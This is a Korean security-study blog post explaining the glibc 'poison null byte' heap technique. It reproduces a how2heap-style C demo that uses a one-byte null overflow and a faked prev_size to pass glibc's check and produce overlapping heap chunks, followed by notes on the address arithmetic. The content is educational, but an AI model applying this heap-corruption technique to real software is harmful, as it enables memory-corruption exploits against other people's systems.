Pwnable/Tech

poison_null_byte

2023. 2. 25. 04:50

먼저 Poison NULL Byte 의 경우 Off by one 에 기원을 둔 heap 취약점이다.

간략하게 이 취약점에 대해 정리하자면, 이미 할당된 heap chunk 를 새로 할당받는 heap 의 공간에 포함시켜 새로운 값으로 덮여 쓸 수 있는 취약점이다.

 

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
        printf("Welcome to poison null byte 2.0!\\n");
        printf("Tested in Ubuntu 14.04 64bit.\\n");
    printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* d;

    printf("We allocate 0x100 bytes for 'a'.\\n");
    a = (uint8_t*) malloc(0x100);
    printf("a: %p\\n", a);
    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\\n", real_a_size);
    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0x200);

    printf("b: %p\\n", b);

    c = (uint8_t*) malloc(0x100);
    printf("c: %p\\n", c);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    // added fix for size==prev_size(next_chunk) check in newer versions of glibc
    // <https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30>
    // this added check requires we are allowed to have null pointers in b (not just a c string)
    //*(size_t*)(b+0x1f0) = 0x200;
    printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
        "the check 'chunksize(P) != prev_size (next_chunk(P))'\\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0) = 0x200;

    // this technique works by overwriting the size metadata of a free chunk
    free(b);

    printf("b.size: %#lx\\n", *b_size_ptr);
    printf("b.size is: (0x200 + 0x10) | prev_in_use\\n");
    printf("We overflow 'a' with a single null byte into the metadata of 'b'\\n");
    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    printf("b.size: %#lx\\n", *b_size_ptr);

    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    printf("c.prev_size is %#lx\\n",*c_prev_size_ptr);
    // This malloc will result in a call to unlink on the chunk where b was.
    // The added check (commit id: 17f487b), if not properly handled as we did before,
    // will detect the heap corruption now.
    // The check is this: chunksize(P) != prev_size (next_chunk(P)) where
    // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
    // next_chunk(P) == b-0x10+0x200 == b+0x1f0
    // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
    printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);

    printf("b1: %p\\n",b1);
    printf("Now we malloc 'b1'. It will be placed where 'b' was. "
        "At this point c.prev_size should have been updated, but it was not: %lx\\n",*c_prev_size_ptr);
    printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\\n",*(((uint64_t*)c)-4));
    printf("We malloc 'b2', our 'victim' chunk.\\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control

    b2 = malloc(0x80);
    printf("b2: %p\\n",b2);

    memset(b2,'B',0x80);
    printf("Current b2 content:n%s\\n",b2);

    printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\\n");

    free(b1);
    free(c);
    printf("Finally, we allocate 'd', overlapping 'b2'.\\n");
    d = malloc(0x300);
    printf("d: %p\\n",d);

    printf("Now 'd' and 'b2' overlap.\\n");
    memset(d,'D',0x300);
    printf("New b2 content:n%s\\n",b2);

    printf("Thanks to <http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf> "
        "for the clear explanation of this technique.\\n");
}

heap 할당시 실제로 유저가 사용할 수 있는 부분 nextchunk 의 prev_size 영역까지이다.

—> 즉 여기서 off by one 이 일어난다면 다음 청크의 size 를 건드릴수 있을 것이다.

하지만 chunksize(P) ≠ prev_size(next_chunk(P)) —> Corruption 발생

때문에, next_chunk(P) 의 prev_size 값 또한 수정한 size 와 같도록 만들어줘야한다.

next_chunk() 함수의 주소 계산 법은 아래와 같다.

0x7120(address of b data area) - 0x10(header size) + 0x210(size of b) = 0x7320 (address of c)

이때 b 의 size를 0x200 으로 변조하면

0x7120(address of b data area) - 0x10(header size) + 0x200(size of fake b) =  0x7310 (address of fake chunk)

  • 헤더 사이즈 0x10 —> include prev_size , size

즉, 0x7310 부분 ( prev_size) 를 0x200 으로 바꿔줘야한다.

'Pwnable > Tech' 카테고리의 다른 글

house_of_spirit  (2) 2023.02.25
FSOP - glibc 2.35 에서 FSOP 하는 법(feat. House of apple )  (0) 2023.02.25
.init_array && .fini_array  (378) 2023.02.20
Tcache dup / glibc 2.26  (0) 2023.02.18
_IO_FILE AAR  (2) 2023.02.18
'Pwnable/Tech' 카테고리의 다른 글
  • house_of_spirit
  • FSOP - glibc 2.35 에서 FSOP 하는 법(feat. House of apple )
  • .init_array && .fini_array
  • Tcache dup / glibc 2.26
Kon4
Kon4
Kon4
보안 공부하다, 적어보는 노트
Kon4
전체
오늘
어제
  • 분류 전체보기 (46)
    • Pwnable (34)
      • Tech (25)
      • writeup (8)
    • Browser (2)
      • Chrome (2)
    • Forensic (1)
    • Web (0)
    • Crypto (3)
    • Reversing (2)
    • Windows (1)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • 현재 notion 에서 tistory 로 적어 놨던 자료들⋯

인기 글

태그

최근 댓글

최근 글

hELLO · Designed By 정상우.
Kon4
poison_null_byte
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.